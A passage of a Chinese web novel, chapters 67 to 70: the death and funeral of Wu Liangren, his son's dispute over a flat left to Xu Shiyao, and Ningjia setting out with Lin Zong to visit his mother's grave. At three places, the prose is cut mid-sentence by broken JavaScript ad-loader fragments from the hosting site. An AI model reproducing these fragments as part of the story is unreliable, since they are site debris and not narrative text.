宁嘉:“......” “不过呢,你挑男人的眼光不太行,每天守着一个不会和你结婚的男人是什么感觉。”吴良仁的女儿说。 一天之内两次收到打击,许诗瑶身形摇摇欲坠:“......” “......你们都知道啊。”许诗瑶一脸绝望。 吴良仁的手术室外,围绕着一群讨论他言行有亏的人们。 女人全然不在意手术室里躺着的是她可能醒不过来的父亲。 她说:“为什么不肯面对现实呢?吴华说你们在一起很久了,我爸为了钱不肯和你在一起,这样的男人你也要?” “一个人爱不爱你不是很好懂吗?不结婚就分开,就这样的老男人当舔狗,阿姨,你眼光太差了。” 许诗瑶的眼泪啪嗒一声掉下来,又听女人说:“知道我妈为什么会和他离婚吗?因为他眼里只有钱,当初在一起的时候表现出很爱你的样子,结了婚又是另一副嘴脸,她说我爸让她觉得恶心。” 宁嘉吃了个惊天大瓜,动都不敢动:“......” “你知道我和我老公为什么会结婚吗?”女人看向宁嘉,笑意盈盈,“也是因为家族联姻啊,因为他想要钱,所以称斤卖两把我卖了个好价钱。” 所以林平生出事,她才来的这么晚,根本不想来,但吴华给她打电话了,还是因为钱,他要两边都守着,才能护住吴家的钱,不让它们落到外人手上。 “不过阿姨,你可真厉害呢,自己的亲生儿子都可以卖,我实在不知道你在想什么。” 许诗瑶泪眼汪汪地看着宁嘉,宁嘉头都大了:“漂亮姐姐,你可别再说了。” 女人耸了耸肩,无奈:“好嘛,替你说话呢,还不领情。” 宁嘉实在不敢接她这话:“你妈妈呢,怎么不来?” 女人说:“乖弟弟,我妈已经结婚了啊,和我叔叔感情和睦,我爸没死我是不会通知她的。” 吴家家风实在让宁嘉看不懂,老的小的男的女的,各有各的脾气,眼前的女人性格彪悍,直来直往倒是很和宁嘉的脾气。 一时无话,只能各自等待。 闹了这么一场,手术室外人心各异,连哭声都静了,女人偶尔接着电话,声音很轻,宁嘉勾勾林纵的手指,林纵侧过耳朵:“怎么了?” 宁嘉小声问:“你要不要回去处理工作?” 林纵说:“没事,我在这陪你。” 宁嘉也不知道这场配合吴家的表演什么时候是个头:“可能还有很久,你忙的话可以先回去,我和我妈在这里就行。” 林纵握了握宁嘉的手,示意他别担心。 “噔”的一声,手术室外红灯关闭。 宁嘉抬头去看,他在这一刻,仍然期待奇迹。 医生迈着沉重的步伐走过来,鞠了个躬:“对不起,我们尽力了。” 从始至终表现出云淡风轻的女人冲了上去,对着推出来的遗体撕心裂肺地喊叫:“爸!爸——!” 握着宁嘉的那只手,不可察觉地紧了紧。 68. 第 68 章 吴良仁死了。 遗体车左边伏着吴晓,右边伏着许诗瑶,两人哭得没完没了,宁嘉却一脸茫然,他摆不清楚自己的地位,也不知道这个时候,他这样一个外人应该要做什么。 吴晓在哭过一场后,当着众人的面,给她母亲打去电话,开了个免提:“妈,我爸死了。” “......你在开什么玩笑。” “真的。”吴晓说,“我可以给你拍照片,你要看吗?” 宁嘉:“......” “好,我知道了,葬礼那天我会去的。” 吴晓:“妈,你要回来帮忙吗?” 宁嘉终于知道吴晓泼辣的性格哪里来的:“我老公活得好好的,我帮什么忙!” 电话被挂掉,众人面面相觑,谁都没敢说话。 这个时候,林纵的手机响了,宁嘉看到了,是林平生,林纵接起来,林平生劈头盖脸一顿骂,难得有了点父亲的威严:“你现在赶紧从那个地方给我出来!” 林纵:“......” 林平生这辈子最后悔的就是搭上吴良仁这条贼船,让林纵和宁嘉有了关系,吴良仁出了这档子事还要林纵陪着宁嘉去太平间里找晦气。 宁家一家子都不太正常,为一个没有结婚的男人哭死哭活,守了大半天,守进太平间还带着他儿子,林平生真是气得血压都高了。 林纵看向宁嘉,宁嘉问:“怎么了?” 林纵摇摇头,没说话。 林平生知道林纵在想什么:“你赶紧从那个地方出来,现在回去洗个澡,不想上班就赶紧睡觉,别不听我的话,我可以打电话给宁嘉,或者让人强行把你带走。” 太平间外隐隐出现一个人,林纵无言以对:“知道了。” 宁嘉在这一刻奇异地明白了林平生的想法,拽拽林纵的胳膊:“学长,我们先回去吧。” 许诗瑶求助地看向宁嘉,显然是不想他走,吴晓却摆手:“可爱弟弟赶紧回去吧,你在这能有什么事,和我爸又不熟,给自己添晦气。” 宁嘉:“......”惊呆了姐。 “妈,你走吗?”宁嘉问许诗瑶。 许诗瑶沉默片刻,想了想,摇摇头:“我在这再待一会儿。” 宁嘉点点头,在这个时候他也不劝许诗瑶什么了,没有意义,不管许诗瑶以什么立场掺和吴良仁的人生,这都是最后一次了:“那我和学长先走了。” 许诗瑶却很无助,拉着宁嘉的衣角:“嘉嘉,可不可以不走。” “不可以。”事关林纵,宁嘉态度决绝。 吴晓揣起胳膊,笑了声:“阿姨,你这样我可就看不懂了啊,你儿子胳膊还受伤呢,你让他在这陪你看死人?” 吴晓又看向宁嘉,轻抬下巴:“你这胳膊,怎么回事啊,挺新的。” 宁嘉空出的那只手挠挠头:“和吴华打了一架,他打我妈,我没忍住。” 吴晓欣慰点头:“可以可以,做的很棒,我早想揍他了,他和我爸一个性格,讨厌得要死。” 宁嘉心说你爸都凉了,可别说这个了。 宁嘉于是退了。 吴家出了这样的事,根本瞒不住,人才从手术室里推出来,消息就已经传遍了,江软不敢联系宁嘉,怕干扰了他,只发了消息,宁嘉到家才看见,给江软回了电话。 电话才拨出去,就被接通了,江软连忙问:“你现在在哪呢?” 宁嘉说:“在家里。” 江软问:“刚到家?” 宁嘉:“......和学长刚刚洗了澡,你要再知道的准确一点不?” 江软:“......大可不必。” 宁嘉:“嗯。” 江软没忍住,吐槽:“都这个时候了,你们俩,就非要......那样那样啊。” 宁嘉也没忍住,怒道:“你在说什么!我手受伤了,打着石膏,一个人洗不了!!” 江软:“哦哦,抱一丝,你手什么时候受的伤啊,我怎么不知道?” 他们俩有事没事就发个消息,一点鸡毛蒜皮的事都忍不住告诉对方,手受伤,这可是大事,宁嘉没发个八百字小作文,这不科学。 不过,宁嘉只是还没来得及:“今天刚发生的事,我把吴华给揍了。” “酷!”江软很给面子,吹了声口哨替宁嘉庆祝,随手问,“吴华是谁?” 宁嘉:“......吴良仁他儿子。” 宁嘉顺便告诉江软这件事的始末,江软都听楞了,最后总结台词就是这:“真6,他们家都是奇才。”又说:“所以是林平生打电话,让你和林纵先回来?” “可能吧,”宁嘉也不知道,他只是猜测,毕竟林平生不像吴良仁,做的事总让宁嘉不明白,“我听不清楚,只知道是林平生打开的电话,还挺凶的,一直让他离开什么的。” “我就突然想,吴良仁确实不是学长的谁,他甚至不是我的谁,学长陪我在待在那里很不合适。” 这一回,江软倒是没说什么,琢磨了一会儿,突然说:“我觉得林纵对你真的是挺好的。” 宁嘉于是问:“你觉得他喜欢我不?” “哟哟哟哟哟,谁啊这是,”江软调侃他,“宁嘉你可终于舍得开窍了哟。” 宁嘉:“......你能说正事吗?” 江软笑笑:“不能啊,他喜不喜欢你,干吗要让别人猜,你自己感觉呢,反正林纵对我不这样,我早就说了,他对我很凶,你还不信。” 宁嘉现在信了,他见过林纵凶别人的样子,原来学长真的是这个样子的,一直在宁嘉面前维持的像在学校里那种模样,似乎只有宁嘉一个人见过。 “是吧。”宁嘉陷入了深思。 江软忽然问:“所以吴良仁是真的死了?” 宁嘉的心沉了沉:“嗯,我不知道为什么我的人生总是要经历这些。” 江软问:“嘉嘉,吴良仁死了你难过吗?” 宁嘉说:“......毕竟是条人命。” 江软没经历过这些,不懂宁嘉纠结的不止是一场意外突然带走一个人那么简单。 林纵在这时出现在房间门口,敲了敲门:“下楼吃点饭。” 江软听见了:“去吧去吧。” 宁嘉以为林纵去工作了,所以没去打扰,但原来林纵去给他做吃的了,因为手受伤不能吃太上火的东西,林纵便做了一桌平淡的菜:“饿了吗,多吃点。” 宁嘉因为吴良仁的事而心情失落,却又被林纵感动,一时间动容,心思活络:“我以为你去工作了。” 林纵拿了把勺子给宁嘉舀饭用,他来夹菜,淡淡道:“今天不想工作。” 宁嘉点点头,很快又有些郁闷:“吴良仁的葬礼没有帮忙的女人,我妈很可能会去。” 林纵问:“你怎么想?” 宁嘉说:“我不会拦她。” 林纵夹起一颗虾仁,示意宁嘉勺子,宁嘉递过去,林纵问:“你呢,你想不想去。” “我不知道,”宁嘉吃着饭,闷闷地,江软刚才也问过他这样的问题,明明和吴家关系没有关系,出了事,他却要考虑怎么做。 “我妈和他一起五年多了,最开始他对我也挺好的,大学教我报考志愿,过年也会给我压岁钱,我那时候不懂,真觉得他当我爸爸也挺好的。” “后来呢?”林纵引导着问。 “后来就发现他不是这个样子的,他只是会伪装,久了就不演了,他在我妈面前含情脉脉好像很情深的样子,做出的事,每次都不可理喻。” 宁嘉低着头:“他让我和你结婚,又让我和你借钱,我妈说借不到钱后,吴良仁就不怎么联系她了。” 这样一个人死了,宁嘉不该同情他的。 可是宁嘉总有些心软,会觉得人都死了,还计较这些干什么。 宁嘉有时候也看不懂自己,能报的仇当场就报了,不能报的就那么两个人,最后都死了,恨人好像是特别消耗感情的事,他恨不来,也学不会怨恨。 “先吃饭,慢慢想,”林纵没有表情地说着笑话,“想不出去,明天就先去上班,想好了就翘班,总裁给你批假。” 宁嘉笑起来:“学长,你也会说笑话啊。” 林纵笑说:“你工作就这么两天,工资不要也是可以的。” 宁嘉:“......” 睡前,宁嘉没受伤的左手搓了搓林纵的头发,嘴里念念有词,像在举行一种仪式,林纵问:“你在干什么?” 宁嘉还挺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 迷信:“你今天去了不太好的地方。” 林纵说:“如果记得没错,回家的时候,我都洗干净了。” 宁嘉一本正经:“我再给你掸一掸。” 林纵倒是随便宁嘉动作:“掸什么?” 宁嘉用讲鬼片的语气悠悠道:“你~身~上~的~阴~气~啊~” 说完宁嘉自己打了个哆嗦,连忙往被窝里钻,被林纵捉住。 在这张床上,林纵稍微做出点强势的动作,宁嘉就会下意识发抖求饶:“别别别,我不行了。” 林纵脸都麻了:“我像个禽兽吗?” 宁嘉真诚点头:“我一直觉得像。” 林纵面无表情,捉着宁嘉的手把脖子上的纱绳解下来:“睡觉小心点,别碰到手,夜里疼了和我说,骨折会疼很久。” 宁嘉还挺乐呵:“我不疼啊,现在。” 林纵冷静道:“因为你吃了止痛片,晚点就疼了。” 宁嘉:“......” 宁嘉千算万算,怎么都没有想到,第二天早上,他因为手疼,翘班了。 林纵想在家里陪宁嘉,被拒绝了,宁嘉泪花挂在眼角,怎么看怎么可怜又好笑:“学长,你去上班吧,我晚点可能去找我妈。” 林纵问:“想好了?” 宁嘉点头:“可能天注定吧,我把他儿子打了一顿,我得给他当几天儿子。” 林纵无奈了:“这种时候还开玩笑。” 宁嘉上前半个身子抱了抱林纵:“学长,你去上班吧,不要太想我,我会想你的。” 宁嘉讲得理所应当,这一回,终于没有脸红了。 许诗瑶最后还是参与了吴良仁的葬礼,以吴家女主人的名义,吴华没有拒绝,宁嘉看不明白:“他不是讨厌我妈吗?” 宁嘉也在,他在这个圈子里身份不明显,没人知道他是谁,还以为是吴晓的朋友。 吴晓帮着在打下手,短短几个小时,她和宁嘉建立了深厚的友谊:“这你就不懂了。” 宁嘉一脸“我在等着你说”的表情。 吴晓的性格全然不同于吴良仁和吴华,她很阔气,身上有种潇洒的自在:“不是姐瞧不起你们穷鬼,但得实话实说对吧。” 宁嘉老实巴交地点头,一点没觉得被冒犯。 “我家呢在予市不算最有钱的那批,但还是有些身份在的,不然你觉得林家为什么要和我爸联姻,有利可图,世人都是朋友。” 吴良仁的葬礼上来了很多人,身份高的派人送了花圈,身份低的本人直接到场送花圈,现场有不少对着许诗瑶指指点点的人。 许诗瑶的身份瞒不住,她长得漂亮,也有不少人知道吴良仁不肯和她结婚的事,看她就像在看一个笑话。 许诗瑶却忍住了,像从前那样对旁人的议论无动于衷,是死过一次男人的人了,葬礼上的大小事宜她都经历过了,做起这些事驾轻就熟的。 “我爸死的太突然了,董事会那群老东西想要瓜分他的公司,我弟正忙着攒钱走关系呢,你没发现他连我爸的葬礼都顾不上了吗?” 确实,吴华是下午才过来的,行色匆忙,像是打断某件事,匆匆到场的,甚至到了现场都没空关照他已经变成骨灰的父亲,而是更多的和在场有身份地位的人打招呼装客套。 曾经,许诗瑶想要和吴良仁组成家庭,为了这个愿望,她请求自己的儿子,成全她和别的男人。 许诗瑶因为生病变得自暴自弃,宁嘉为了重拾她对这个世界的信心,答应了她的要求和林纵结婚。 可这个愿望到最后才实现,吴良仁变成了骨灰盒里的人,许诗瑶才得以用女主人的姿态向来吊唁的众人致谢。 “吴华缺钱啊?”宁嘉摩挲着下巴,若有所思的样子。 吴晓冷笑:“是啊,嘉嘉弟弟,你可要当心,老的找过你,小的也会找你。” 宁嘉抖抖挂在脖子上的手:“他想得美。” 再晚一点,林纵和闻凯也来了,两人各代表着自己的本家过来,正在和许诗瑶说话。 吴晓问:“哪个是你男人?” 宁嘉无语:“姐,你也太直白了吧?” 吴晓话里有话:“难不成你是他男人?” 宁嘉:“......” 69. 第 69 章 另一头有人要帮忙,吴晓拍着宁嘉的肩,把人一块带走了。 “弟弟,你对我爸是个什么想法?”吴晓边走边问。 女性脚步轻,走路都会慢一些,宁嘉刻意放慢步调等吴晓:“没什么想法啊。” 吴晓说:“说白了我爸不是好人,你说以我朋友的身份过来,我让你帮忙,你又来帮忙,知不知道这样性质就不一样了?” 宁嘉开口时强调:“我男人——” 吴晓一脸吃瓜的表情。 宁嘉接着说:“——他告诉我做事随心就好了,其实我也不知道要以什么身份过来你爸爸的葬礼,我是我妈的儿子,你认我当你的弟弟,我就是你的弟弟,所以什么身份也不重要对不对。” 吴晓可太喜欢这个小孩了,摸了摸他的脑袋:“乖弟弟,过年姐姐给你发红包。” 宁嘉“啊”了声,很不情愿的样子:“过了这个葬礼,我们还要当姐弟啊?” 吴晓嗔怒:“你有什么意见?” 宁嘉笑起来:“我们不翻个脸吗?” 吴晓:“乖乖,你姐我正脸侧脸都超绝。” 宁嘉竖起了大拇指。 吴晓这边的事情干完,宁嘉又回头去找林纵,虽然宁嘉不知道林纵到底喜不喜欢自己,可他在心底却肯定,林纵愿意来这一趟肯定是为了自己。 话说起来,这样的事情林平生大概也不会想让林少过来,宁嘉同时又想,自从上次的事后,他已经很久没有见到过林少了。 宁嘉乱七八糟地想着,不知不觉走茬了路,正想拐弯,忽然听到闻凯的声音:“你下周回去?带不带我?” 林纵在树下点了根烟:“带你回去干吗?” 闻凯义正严词:“见咱妈!” 林纵说:“我妈只有我这一个儿子,我也只有宁嘉这一个亲人。” 闻凯说:“所以你就不认我这个朋友了是不?” 闻凯什么想法,林纵也清楚,可每一年都是林纵自己回去,没必要今天就要闻凯来陪。 闻凯心里却不这么想,他其实每年都想陪林纵回去,但每年的林纵都很糟糕,情绪、想法都是,闻凯向来不敢在那个时候触他眉头。 只有今年的林纵是最好说话的,整个人温和了很多,让闻凯有了提意见的勇气。 林纵:“我这一辈子也只有你这一个朋友。” 难得听到林纵说这样的话,闻凯心里简直美滋滋:“我妈都不认我,你给我个认妈的机会。” 林纵无奈,最后才说:“如果宁嘉愿意,我想带他回去见见我妈,你过来当电灯泡吗?” 闻凯挣扎:“也是我妈!也是我妈!” 宁嘉在墙后轻轻附和:“是我妈,不是你妈,电灯泡。” 林纵和闻凯同时转过头,看见宁嘉在墙后探出个脑袋:“学长,我陪你回家见妈妈。” 宁嘉大概听到不少,林纵点头笑了笑:“好。” 闻凯怒了:“我从来没有觉得自己是电灯泡!!!都是因为你!!!” 宁嘉不甘示弱:“别没有礼貌!!!叫嫂子!!!” 闻凯:“......”官大压死人。 吴良仁活着也算风光,死后变成一捧骨灰,葬礼结束,这个世上从此查无此人。 宁嘉在葬礼上见到了吴良仁的前妻,那是一个和吴晓长相相似的女人,她给吴良仁上了香,转头看向许诗瑶,质问:“你和他结婚了吗?” 许诗瑶有些犯怵:“没有。” 女人哼笑一声:“还好没有,吴良仁本事没有,骗女人的办法一套又一套。” 宁嘉真怕两人打起来,许诗瑶肯定是打不过她的,宁嘉打男人会,劝架女人可不在行。 还好女人说完最后一句话就走了:“以后擦亮眼睛找个靠谱的男人吧,还跑到姓吴的葬礼上丢人。” 宁嘉:“......” 葬礼结束当天,许诗瑶找到宁嘉,有些犹豫地问:“我明天要去住院了,你要来陪我吗?” 经过这么多的事后,许诗瑶只觉得对不起宁嘉,不敢对他有先前的依赖。 宁嘉问:“是准备做手术了?” 许诗瑶点头,本来就想清楚了,吴良仁一死她更没有了顾忌:“和医生说好了,明天先住院,手术期再安排。” 宁嘉放心下来:“我知道了,我回去收拾衣服,到时候过去陪你。” 许诗瑶也放心了:“公司是不是要请假呀?” 宁嘉不以为意:“辞职就好了。” 许诗瑶惶恐,不敢再让宁嘉做这些:“你还是别陪我了,辞职不太好的。” 宁嘉笑起来,语气有些嘲讽,许诗瑶不知道最近发生的事,宁嘉不介意一件件说给她听。 就从最早的,林少掺和他和林纵约会开始。 宁嘉送许诗瑶回家,在路上事无巨细地叙述过去几个月发生的事,许诗瑶好看的眉头皱起来,怪他:“你怎么都不告诉我呀。” 宁嘉问:“我告诉你这些,你就会不让我和林家联姻吗?” 许诗瑶言语犹豫,想说不会,想到这些日子来她对宁嘉说过的话和做过的事,又觉得她不配说出这样的话。 “嘉嘉,我......” “没关系,”宁嘉安慰她,那些事情过去了就是真的过去了,他不在意,“我现在和学长挺好的,我们结婚也不是坏事,吴良仁去世了,你也想明白了,就不用再想以前的事了。” 许诗瑶还是愧疚,却知道说什么都没有用。 两人一路走到单元楼楼下,许诗瑶想让宁嘉回去休息,宁嘉却说:“我送你上去,你才最该休息。” 这几天许诗瑶几乎没怎么睡,吴良仁的葬礼上所有的事都要经过她的手。 他们乘着电梯上楼,吴华却等在许诗瑶家门口,手里拿着房产证,质问:“许阿姨,我爸的房子为什么写着你的名字?” 这几天,许诗瑶的行为有目共睹,就算吴华再不想承认许诗瑶,却还是愿意喊她一声阿姨。 “什么?”许诗瑶根本不知道吴华在说什么,她只是在吴良仁给的房子里住着,房子属于谁她从来没有在意过。 吴华把房产证砸过去:“你自己看。” 宁嘉拦在许诗瑶身前:“吴华,你发什么疯。” 许诗瑶连忙把宁嘉拉过来,藏在身后:“嘉嘉,你手还受伤,不要乱来。” 许诗瑶打开房产证,房主的名字确实是她的,一时间她有些六神无主:“我不知道,我没向他要过房子,我从来都不知道这个房子是我的名字。” 吴华表情狰狞,这几天因为钱的事他有些癫狂了,吴良仁离开的太突然了,所有人都没有想到。 吴华连吴良仁具体有多少财产都不知道,和律师又沟通了好几天,他是今天才知道的,他爸名下那么多的财产里,竟然没有许诗瑶住的那一间。 吴华不信邪,一边找人去查,一边在家里翻箱倒柜,最终他找了这本属于许诗瑶的房本。 这成了压死吴华的最后一根稻草,他爸就这么走了,给他留了那么多事,最后竟然还被他发现这间价值八位数的房子法定继承人不是他。 “你不要说这些屁话!”吴华的怒吼在走廊里形成了回声,“你把我爸的房子还给我,还给我,我就相信你。” 宁嘉怒了:“凭什么?” 许诗瑶竟然也小声说:“不要。” 吴华瞪着他们:“你说什么?” 许诗瑶都不肯,宁嘉立马有底气了:“我妈说不要,你听不见吗?” 吴华:“那是我爸的房子你凭什么不要?” 宁嘉:“你爸把房子给了我妈,你听不懂?” 吴华完全听不到他们在说话,他只想要他爸的公司,他想要钱,看到许诗瑶只剩下憎恶,这个女人,怎么敢,怎么敢拿他两千万的房子。 “把我爸的房子还给我!!” 宁嘉急匆匆挡在许诗瑶面前,用左半身挡住吴华。 好在吴华颠归颠,也没想要动手,只是重复着:“你把我爸的房子还给我吧,许阿姨。” 许诗瑶不说话,也不敢进家门,三个人在走廊里对峙,谁都不肯放过谁。 这个时候,电梯门打开,闻凯从里头走出来,宁嘉看到救星,眼睛都亮了:“怎么是你。” 闻凯把宁嘉拉到自己身后,冷声说:“你这语气好像不是很欢迎我。” “怎么会。”宁嘉可是松了好大一口气,他在看到吴华的第一时间联系了林纵。 吴华的状态看着不太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对劲,闻凯不敢惹他,轻声说:“我刚好在附近,就先过来,林纵已经从公司赶过来了,联系过吴晓了,你手有没有事?” 林纵不仅怕宁嘉和吴华打架,更怕宁嘉本来就骨折的手腕再次受伤,这两天宁嘉已经因为骨折受够了委屈,半夜经常睡不着喊疼。 “手没事,”宁嘉到这会儿才后怕,躲在闻凯身后,“吴华不肯走,非要我妈给他房子。” 闻凯:“吴良仁也不算没良心,还知道给你妈留点东西。” 这话立马触动了吴华的神经,吼道:“那是我爸的房子!” 闻凯:“......” 四人继续僵持,电梯门再次打开的时候,宁嘉都快睡着了,手也累,林纵先出来,下一趟电梯上来了吴晓和吴华他亲妈。 前吴夫人见到吴华就是一巴掌:“在这闹什么。” 宁嘉:“......” 闻凯:“......” 吴华也快疯了,像是终于找到了主心骨,眼睛都红了:“妈,他答应过你的,不和别人结婚,不把我们家的财产分给别人,他为什么给这个女人买房子,为什么!” “没事?”林纵问宁嘉。 宁嘉点头:“闻凯来得很早,还是很护着我这个嫂子的。” 林纵不顾旁人在场,抱住宁嘉:“还笑得出来,我吓死了。” 这个场合......啊啊啊啊啊啊,宁嘉也要疯了,学长到底喜不喜欢我啊。 前吴夫人问许诗瑶:“你和吴良仁在一起多久了?” 在她面前许诗瑶像个晚辈,连气势都没有:“五年多。” “行,”前吴夫人转头,看向吴华,问:“她委曲求全和你爸这种人在一起五年多,给她买个房子过分?” “我就是这么教你的?你真以为我和你爸离婚他什么都没有给我?”前吴夫人很生气,“我只是没有要他的钱,房子也没有?我光屁股出门?” 吴华捂着脸,委屈巴巴:“妈......” 前吴夫人甩手又是一巴掌:“给老娘滚,在这里丢人!” 吴晓大老远过来,在她亲妈面前毫无用武之地,走前朝宁嘉眨了眨眼,用唇语说:走了。 宁嘉点点头。 走廊上,四个人还站着,许诗瑶半天没电反应,还是宁嘉说:“妈,赶紧开门啊。” 许诗瑶这才后知后觉去开门。 “这可有点麻烦了。”闻凯跟着进门,说,“吴华这个状态,得缠着你们好几天呢,房子不给这事就没完没了的。” 宁嘉这会儿是真被这人气到了:“他像个疯子似的跑到我这要房子,比他爸当初找我老公借钱还要过分。” 许诗瑶震惊。 闻凯见怪不怪只剩无语了。 林纵笑着看向宁嘉,摸了摸他的头。 闻凯赶紧转移话题:“我不是这个意思,只是想说这种情况下,你再陪林纵回家是不是不太好,还是把这个珍贵的机会让给我吧。” 宁嘉:“?不好意思,我不理解。” 许诗瑶问:“怎么啦?什么意思呀?小纵要去哪里?” 闻凯看向林纵,林纵点头,他才矫揉造作地说:“小纵他妈妈忌日,宁嘉本来说陪他回去的,但您这边这样,宁嘉肯定不能回去了。” 一听到是因为自己的事,许诗瑶连忙说:“我没事的呀,嘉嘉和小纵先回去吧,嘉嘉和小纵先回去,妈妈肯定很想你们的。” 很奇怪,但林纵总能在许诗瑶这里找到当年母亲的身影,这让他很想念。 许诗瑶说:“没事的,小华他其实人不坏,你看刚刚都那样了,他也没有动手。” “我的天,我的亲妈,”宁嘉都惊呆了,“他前几天推你,你都忘了是吧,腿上的伤好了吗?” 许诗瑶显得很为难,她从来也没做什么好事,这一次不想再耽误宁嘉和林纵的事:“那怎么办呀。” 闻凯吊儿郎当地:“没事的没事的,我陪林纵回去就是了。” 这个时候,一直没开口的林纵轻描淡写道:“让闻凯在这陪您可以吗?嘉嘉陪我回家。” 宁嘉脑海中的灯泡被点亮,简直是妙计:“酷!学长好聪明!” 闻凯心有脏话口难出:“......” 70. 第 70 章 林俏俏的墓在距离予市八百公里外临省的一个偏远小镇,那里经济落后,连讲普通话的人都很少。 林纵拎着行李箱,另外一只手紧紧地牵着宁嘉,宁嘉的视线从两人相握的手转移到林纵的脸上,问:“所以学长,你小时候就在那里生活吗?” “不是,”林纵说,他们刚从车上下来,停车场到火车站要走相对比较长的一条路,好在今天是阴天,风也大,“瑞镇是妈妈的家乡,但我小时候不在那里长大。” 林纵没回头:“妈妈说那个地方人文化程度都不高,在那个地方待久了,正常人也会受到影响。” 宁嘉大概能懂林纵的意思:“是不是像我以前住过的村子一样,重男轻女,尊卑有序,不讲道理,没皮没脸。” 林纵:“......” 林纵被宁嘉的四字词语惊到,无奈道:“大概是这么个意思。” 予市的火车站继承了全国大部分火车站脏乱差的缺点,宁嘉坐在候车室里,做出评价:“这里还很臭,学长,你为什么要坐火车,高铁到不了吗?” 林纵显然对这里很熟悉,也没有因为环境感到不自在:“当年和我妈回来就是坐火车。” 宁嘉掰开手指头算算:“十六年前吗?” “嗯,”林纵说,“那时候还没有高铁。” 宁嘉点点头:“我还没坐过火车呢,一直想坐一次,没想到是去见妈妈。” 林纵闻言看向宁嘉,宁嘉笑起来,微扬下巴,有些恃宠而骄的意思:“不是吗?” 林纵说:“是。” 他们来的不算早,在候车室没有等很久,就要接受检票,宁嘉把火车票递过去,被剪了个口子又递回来,进站时也无人管理,林纵始终把宁嘉护在身边,保护着他受伤的那只手。 林纵买了是硬座,宁嘉眼神真诚:“学长,我们到沧县要多久?” 林纵请了三天假,他们要先去林纵当年住过的地方逛逛,然后才去瑞县祭拜林俏俏,林纵把林俏俏葬在瑞县,和外公外婆葬在一起。 “路上不耽误的话,六七点小时。”林纵显然对眼前的状况很熟悉,他知道自己在做什么。 宁嘉难以置信地捂着屁股:“你屁股不疼吗?” 林纵给宁嘉倒了杯水,回来坐着,淡淡道:“以前也是这么过来的。” 从在火车站开始,林纵的状态就有些不对劲,他太平静了,相比平时的平静又带了着茫然和麻木。 宁嘉忽然明白了林纵的固执,这原因太简单了,就像他曾经和闻凯说的,他很想妈妈。 但妈妈不会再回来了。 她带着当年只有八岁的林纵从沧县出发,一路上在林纵为了沿途风景感到喜悦的时候,他还不知道,未来的自己会面对什么。 这些年林纵一次次回沧县,固执地重复当年经历过的事,火车、硬座、风景,只有妈妈不在了。 宁嘉问:“学长,你很想妈妈对吗?” 火车启动,林纵看着窗外没有说话。 宁嘉低头吹着开水,热气吹到脸上,垂眼望着桌子,眼睛因为水蒸气湿漉漉的:“妈妈肯定也很想她的妈妈。” 林纵看向宁嘉,宁嘉抬头看着他,带着安抚的笑意:“妈妈只是和外公外婆在一起了,你想她,她也想他们的。” “你是说离开我之后她过得很幸福吗?”林纵很迟钝地理解着宁嘉的话,在从未想过的角度里看待这件事。 宁嘉说:“是这样的呀,所以学长你不要太伤心,妈妈那个时候生病了,离开对她来说不是坏事,如果可以,她也不想离开你的,对不对?” 宁嘉和林纵相处久了,有时候讲话也会带上林纵的语调,“对不对”、“是不是”、“没关系”,他慢慢像个不会随时喊打喊杀的大人了。 见林纵被打动,宁嘉立马说:“所以我们就放硬座自由吧,随便买张卧铺什么的,我真的坐不了这个。” 林纵:“......” 这个时间段火车上的人不多,硬座升级成软卧,虽然是四人间,却只有他们两个人。 宁嘉看到床就像看到家似的,刚想扑上去趴着,被林纵阻止了:“躺着。” 宁嘉翻过身,躺着,抱怨:“我都不知道一天天在忙着什么,好累,好想睡个三天三夜。” 林纵还不累,坐到宁嘉对面,显然是思绪混乱,没被宁嘉先前的话安慰到多少。 宁嘉伸伸腿,又蹬了蹬,侧过脸看着一旁的林纵:“学长,说点什么吧。” 这话,宁嘉曾经和说过一次,林纵听来也算习惯:“你想听什么?” 宁嘉说:“什么都行。” 林纵现在脑子很乱,实话实说:“我现在不知道要说什么。” 宁嘉从床上爬起来,笑嘻嘻地爬到林纵床上,枕在他腿上,声音上扬,像在开玩笑:“没事的,没事的,我问你答可行?” 宁嘉的头发很软,林纵摸了摸:“可以。” 宁嘉也很喜欢被林纵摸着,有种好像他还没有长大的感觉,他其实一点都不想长大,被林纵照顾的感觉也很好:“学长,你什么时候开始回去看妈妈的?” 林纵说:“十五岁的时候。” 宁嘉问:“那之前呢?” 林纵语气平淡:“那之前林平生盯我很紧,假设我是林家收养的孩子,林平生其实对我不算差,林少对我的排斥也情有可原。” 宁嘉拳头硬了:“才不是。” 林纵笑笑:“十五岁那年,我长高了,个子突然窜到快一米八,像个大人了,那个时候他可能也不记得我到底几岁,我发现身边跟踪的人少了,就买了车票走了。” 事实上那个暑假林平生都对林纵放松警惕,他有自己的事情要忙,也确信林纵不会傻到要离开他。 所以林纵离开是他没有想到的,身边的人找了一圈,林平生才想着要打电话,林纵挂了一个,第二次再拨过来的时候,林纵接了,说自己在沧县。 林平生眉毛都抖了,没想到林纵的主意这么大:“你已经到了?” 林纵平静道:“到了。” 全然不知道一个十五岁的小孩独自一人跑那么远是多么可怕的一件事。 林平生:“......” “所以学长,你从那年开始就会每年都回去看一次妈妈,先去沧县,再去瑞县,是这样吗?” “嗯。” 宁嘉问:“在小时候生活过的地方溜达溜达?” 林纵学着宁嘉说话:“最开始是溜达,前几年有钱就把以前住的那间房子买下来了。” 宁嘉于是问:“几年前?” 林纵想想:“大概十八九岁的时候。” 宁嘉酸酸的:“真有钱哦。” 林平生摸摸宁嘉的头:“林平生给得多。” “故地重游,”宁嘉舒服地眯起眼睛,评价道,“学长,你是个念旧的人。” “大概吧。”林纵不知道该怎么反驳宁嘉的话,也没想要反驳。 这就是林纵不想带闻凯过来的原因,他太擅长伪装了,人活久了,虚伪的面皮挂在脸上,时间长了,就不舍得摘。 林纵应该冷情、凉薄,不介意任何人对他的看法,他是林家的私生子,活得像个笑话,却带着和林俏俏一样的傲骨。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可林纵内心阴暗、敏感、自私,在遇上宁嘉后又学会了贪婪。 他厌恶林家人,介意林平生把他当成猴子四处展览,接受了林平生的帮忙却不愿意认他这个父亲,在与宁嘉重逢后,不愿意给他离开的机会。 这些都是林纵。 林纵却不知道自己是个什么样的人。 